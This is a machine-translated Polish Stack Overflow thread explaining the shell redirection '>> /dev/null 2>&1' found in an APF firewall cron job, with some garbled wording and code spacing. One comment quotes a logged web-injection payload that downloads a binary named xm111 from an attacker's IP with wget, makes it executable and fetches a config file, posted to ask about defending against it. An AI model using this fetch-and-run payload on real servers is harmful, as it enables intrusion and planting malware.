Co to jest / dev / null 2> & 1?

237

Znalazłem ten fragment kodu w /etc/cron.daily/apf

#!/bin/bash  
/etc/apf/apf -f >> /dev/null 2>&1  
/etc/apf/apf -s >> /dev/null 2>&1  

Opróżnia i ładuje zaporę ogniową.
Nie rozumiem tej >> /dev/null 2>&1części.

Jaki jest cel posiadania tego w cronie? Zastępuje moje reguły zapory. Czy mogę bezpiecznie usunąć to zadanie CRON?

spoczynkowy
źródło
1
FYI: Krótszy sposób wyciszenia procesu to >&- 2>&-.
Zaz
22
@Josh: dlaczego sprawy stają się jeszcze bardziej tajemnicze niż są?
endolith
4
@Josh To zamyka odpowiednie FD, co może spowodować przerwanie programów.
glglgl
1
jest 2>&1 > /dev/nulltaki sam jak > /dev/null 2>&1 ? Wydaje mi się to bardziej naturalne ...
edelans
6
@edelans Nie. W ten sposób przekierowuje stderr na stdout, ale wtedy tylko oryginalny stdout na /dev/null—stderr będzie nadal wysyłany. Wypróbuj narzędzie na gist.github.com/zigg/344361751c0110419b0f
zigg

Odpowiedzi:

354

>> /dev/nullprzekierowuje standardowe wyjście ( stdout) do /dev/null, które je odrzuca.

( >>Wydaje się to trochę zbędne, ponieważ >>oznacza „dopisz, a” >oznacza „obcinaj i pisz”, a albo dołączanie do, albo pisanie do /dev/nullma ten sam efekt netto. Zwykle używam tylko >z tego powodu).

2>&1przekierowuje standardowy error ( 2) na standardowe wyjście ( 1), które następnie go również odrzuca, ponieważ standardowe wyjście zostało już przekierowane.

zigg
źródło
7
Co oznacza tam &symbol 2>&1.
Nikt
17
& wskazuje deskryptor pliku. Zazwyczaj są 3 deskryptory plików - standardowe wejście, wyjście i błąd.
Testowanie123
1
@Nikt nie sprawdzi mojej odpowiedzi poniżej w celu uzyskania odpowiedzi na stackoverflow.com/questions/10508843/what-is-dev-null-21/…
Vishrant
1
Jeśli & wskazuje deskryptor pliku, to dlaczego nie ma & przed 2?
user6708151,
1
Na wypadek, gdyby inni nie czytali poniższej odpowiedzi wyjaśniającej deskryptory plików:When redirecting data streams, & means whatever follows is a file descriptor, not a filename.
Elysiumplain
199

Podzielmy >> /dev/null 2>&1zdanie na części:


Część 1: >> przekierowanie wyjścia

Służy do przekierowania wyjścia programu i dołączenia wyjścia na końcu pliku. Więcej...


Część 2: /dev/null plik specjalny

To jest specjalny plik Pseudo-urządzeń .

Polecenie ls -l /dev/nullpoda szczegóły tego pliku:

crw-rw-rw-. 1 root root 1, 3 Mar 20 18:37 /dev/null

Czy zaobserwowałeś crw? Co oznacza, że ​​jest to plik pseudo-urządzenia , który ma typ znaków specjalnych, który zapewnia dostęp szeregowy.

/dev/nullakceptuje i odrzuca wszystkie dane wejściowe; nie generuje danych wyjściowych (zawsze zwraca wskazanie końca pliku podczas odczytu). Odniesienie: Wikipedia


Część 3: 2>&1 deskryptor pliku

Ilekroć uruchamiasz program, system operacyjny zawsze otwiera trzy pliki, standardowe wejście, standardowe wyjście i standardowy błąd, jak wiemy, gdy plik jest otwierany, system operacyjny (z jądra ) zwraca nieujemną liczbę całkowitą zwaną deskryptorem pliku . Deskryptorem plików dla tych plików są odpowiednio 0, 1 i 2.

Po 2>&1prostu mówi przekierowanie standardowego błędu na standardowe wyjście.

& oznacza, że ​​wszystko, co następuje, to deskryptor pliku, a nie nazwa pliku.

Krótko mówiąc, używając tego polecenia, mówisz swojemu programowi, aby nie krzyczał podczas wykonywania.

Jakie znaczenie ma używanie 2>&1?

Jeśli nie chcesz generować żadnych danych wyjściowych, nawet w przypadku wystąpienia błędu w terminalu. Aby wyjaśnić jaśniej, rozważmy następujący przykład:

$ ls -l > /dev/null

W przypadku powyższego polecenia w terminalu nie wydrukowano żadnych danych wyjściowych, ale co się stanie, jeśli polecenie to spowoduje błąd:

$ ls -l file_doesnot_exists > /dev/null
ls: cannot access file_doesnot_exists: No such file or directory

Mimo że przekierowuję dane wyjściowe /dev/null, są one drukowane w terminalu. Jest tak, ponieważ nie przekierowujemy danych wyjściowych błędów /dev/null, więc aby przekierować również dane wyjściowe błędów, należy dodać 2>&1:

$ ls -l file_doesnot_exists > /dev/null 2>&1
Vishrant
źródło
2
Dobry przykład! Nie wiem, czy „>” nie przekierowuje wcześniej „STDERR”.
miao.wang
Ładnie wyjaśnione! bardzo informujące. dzięki. Pomoże mi to zrozumieć atak sieciowy, na który ostatnio natknąłem się. Atakujący wstrzykuje złośliwy kod poprzez żądanie POST, które zawiera powyższy fragment kodu.
Sohel Pathan
1
@Vishrant kod jest wtryskiwana jak: POST / nazwa użytkownika / hasło [% 23post_render] [] = i układ nazwa [% 23markup] = + CD / tmp, -O Wget + + + xm111 xxx.xxx.xxx.xxx/xm111;chmod+777+ xm111; wget + -O + config.json + http: /… > / dev / null 2> & 1 & HTTP / 1.1 xxx.xxx.xxx.xxx to adres IP osoby atakującej i jest również wymieniony jako obraźliwy w wielu witrynach. Pierwszym i najważniejszym krokiem zapobiegawczym jest zablokowanie adresu IP w zaporze ogniowej, a także wzór takich adresów IP. Atak polegał na przekierowaniu na stronę zewnętrzną podczas ładowania strony głównej. Dziennik serwera Apache pokazuje wątpliwe IP i żądanie.
Sohel Pathan
5
Zastanawiałem się tylko, dlaczego nie używamy „&” przed 2. Czy ktoś mógłby wyjaśnić moje wątpliwości?
Snehasish Karmakar
1
@SnehasishKarmakar uzasadnione pytanie. Wierzę, że system operacyjny jest wystarczająco inteligentny, aby zrozumieć, że pierwszy argument będzie deskryptorem pliku, ale >jest operatorem przekierowania, cokolwiek po operatorze przekierowania powinno być dodawaniem lokalizacji pliku &przed, 1wskazuje, że nie jest to plik, w którym aplikacja musi przekierować dane wyjściowe, ale deskryptor pliku. Będę wdzięczny, jeśli ktoś może dodać więcej szczegółów tego komentarza.
Vishrant
58

Jest to sposób na ciche wykonanie programu i ukrycie wszystkich jego wyników.

/dev/nullto specjalny obiekt systemu plików, który odrzuca wszystko, co w nim zapisane. Przekierowanie do niego strumienia oznacza ukrywanie danych wyjściowych programu.

Te 2>&1środki część „przekierować strumień błędów do strumienia wyjściowego”, więc kiedy przekierować strumień wyjściowy strumień błędów zostaje przekierowany również. Nawet jeśli twój program zapisuje do stderrtej pory, dane wyjściowe również zostaną odrzucone.

dasblinkenlight
źródło
37
W 2>&1rzeczywistości przekierowuje stderrdo stdout. Różnicę między tym a tym, co twierdziłeś, najlepiej ilustruje zamiana kolejności przekierowań, np 2>&1 >/dev/null.
zigg
15

/dev/null to standardowy plik, który odrzuca wszystko, co do niego piszesz, ale informuje, że operacja zapisu się powiodła.

1to standardowe wyjście i 2standardowy błąd.

2>&1przekierowuje standardowy błąd na standardowe wyjście. &1wskazuje deskryptor pliku (standardowe wyjście), w przeciwnym razie (jeśli tylko użyjesz 1) przekierujesz standardowy błąd do pliku o nazwie 1. [any command] >>/dev/null 2>&1przekierowuje wszystkie standardowe błędy na standardowe dane wyjściowe i zapisuje to wszystko /dev/null.

Jurij
źródło
7

Używam >> /dev/null 2>&1do cichej koleżanki. Koleżanka wykona zadanie, ale nie wyśle ​​raportu na mój e-mail.

O ile mi wiadomo, nie usuwaj /dev/null. Jest to przydatne, zwłaszcza gdy uruchamiasz cPanel , może być używany do wyrzucania raportów z cronjob.

chrześcijanin
źródło
2

Jak opisano w innych, pisanie do / dev / null eliminuje dane wyjściowe programu. Zwykle cron wysyła wiadomość e-mail do każdego wyjścia z procesu rozpoczętego przez cronjob. Zapisując wynik do / dev / null, zapobiegniesz spamowaniu, jeśli podałeś swój adres w cron.

FSMaxB
źródło
0

Edit /etc/conf.apf. Set DEVEL_MODE="0". DEVEL_MODEustawione na 1doda zadanie cron, aby zatrzymać apf po 5 minutach.

dstonek
źródło